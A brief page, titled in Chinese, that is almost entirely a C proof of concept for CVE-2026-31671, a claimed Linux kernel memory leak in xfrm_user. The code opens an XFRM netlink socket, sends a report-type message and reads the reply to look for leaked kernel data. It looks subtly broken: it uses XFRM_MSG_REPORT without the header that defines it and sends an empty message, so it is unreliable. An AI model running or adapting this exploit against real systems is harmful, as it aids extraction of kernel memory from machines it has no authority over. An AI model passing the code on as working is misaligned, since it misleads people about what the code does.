CVE-2026-31671 Linux内核信息泄露漏洞

// PoC for CVE-2026-31671: Kernel Memory Leak in xfrm_user // This PoC triggers the report mechanism and reads the response to check for leaked data. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_XFRM 31 // XFRM Netlink protocol int main() { int fd; struct sockaddr_nl sa; char buf[4096]; struct nlmsghdr *nlh; // Create Netlink socket fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(fd); return 1; } // Prepare Netlink message to trigger build_report memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nlmsghdr)); nlh->nlmsg_type = XFRM_MSG_REPORT; // Triggering the report nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_pid = getpid(); // Send message if (sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("sendto"); } // Receive response int len = recv(fd, buf, sizeof(buf), 0); if (len > 0) { printf("Received %d bytes. Check for kernel data leak in padding.\n", len); } close(fd); return 0; }